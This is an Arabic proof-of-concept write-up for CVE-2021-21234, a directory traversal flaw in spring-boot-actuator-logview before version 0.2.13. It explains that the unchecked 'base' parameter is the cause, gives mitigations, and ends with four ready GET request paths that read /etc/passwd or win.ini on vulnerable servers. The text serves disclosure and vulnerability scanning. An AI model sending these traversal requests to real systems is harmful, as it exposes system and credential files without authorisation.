
إثبات مفهوم لاستغلال CVE-2021-21234، وهو ثغرة اجتياز الدليل في spring-boot-actuator-logview تسمح بقراءة ملف غير مصرح بها عبر معامل base.
CVE-2021-21234 ثغرة اجتياز الدليل في Spring Boot
spring-boot-actuator-logview يضيف في مكتبة عارض بسيط لملفات السجل كنقطة نهاية لإجراءات Spring Boot. وهي حزمة Maven "eu.hinsch:spring-boot-actuator-logview". توجد ثغرة اجتياز الدليل في spring-boot-actuator-logview قبل الإصدار 0.2.13. جوهر المكتبة هو عرض دليل ملفات السجل عبر نقطة نهاية HTTP المشرف (إجراءات Spring Boot). يمكن تحديد اسم الملف والمجلد الأساسي (نسبة إلى جذر مجلد السجل) عبر معاملات الطلب. على الرغم من التحقق من معامل اسم الملف لمنع هجمات اجتياز الدليل (وبالتالي لن يعمل filename=../somefile)، إلا أنه لم يتم التحقق من معامل المجلد الأساسي بشكل كافٍ، لذا يمكن الوصول إلى ملفات خارج الدليل الأساسي للسجل باستخدام filename=somefile&base=../. تم تصحيح الثغرة في الإصدار 0.2.13. يجب أن يتمكن أي مستخدم للإصدار 0.2.12 من التحديث دون مشاكل، حيث لا توجد تغييرات أخرى في هذا الإصدار. لا يوجد حل لهذه الثغرة بخلاف التحديث أو إزالة التبعية. ومع ذلك، يمكن الحد من التأثير عن طريق إزالة صلاحيات القراءة للمستخدم الذي يشغل التطبيق من أي أدلة لا يحتاجها التطبيق. بالإضافة إلى ذلك، يمكن تقييد الوصول إلى نقطة نهاية logview عن طريق نشر التطبيق خادم وكيل عكسي.
eu.hinsch.spring.boot.actuator.logview.LogViewEndpoint#view
تقوم دالة view بالتحقق من صحة معلمة filename، ولكنها لا تتحقق من صحة معلمة base.
GET path:
- "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # ويندوز
- "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # ويندوز
- "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # لينكس
- "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # لينكس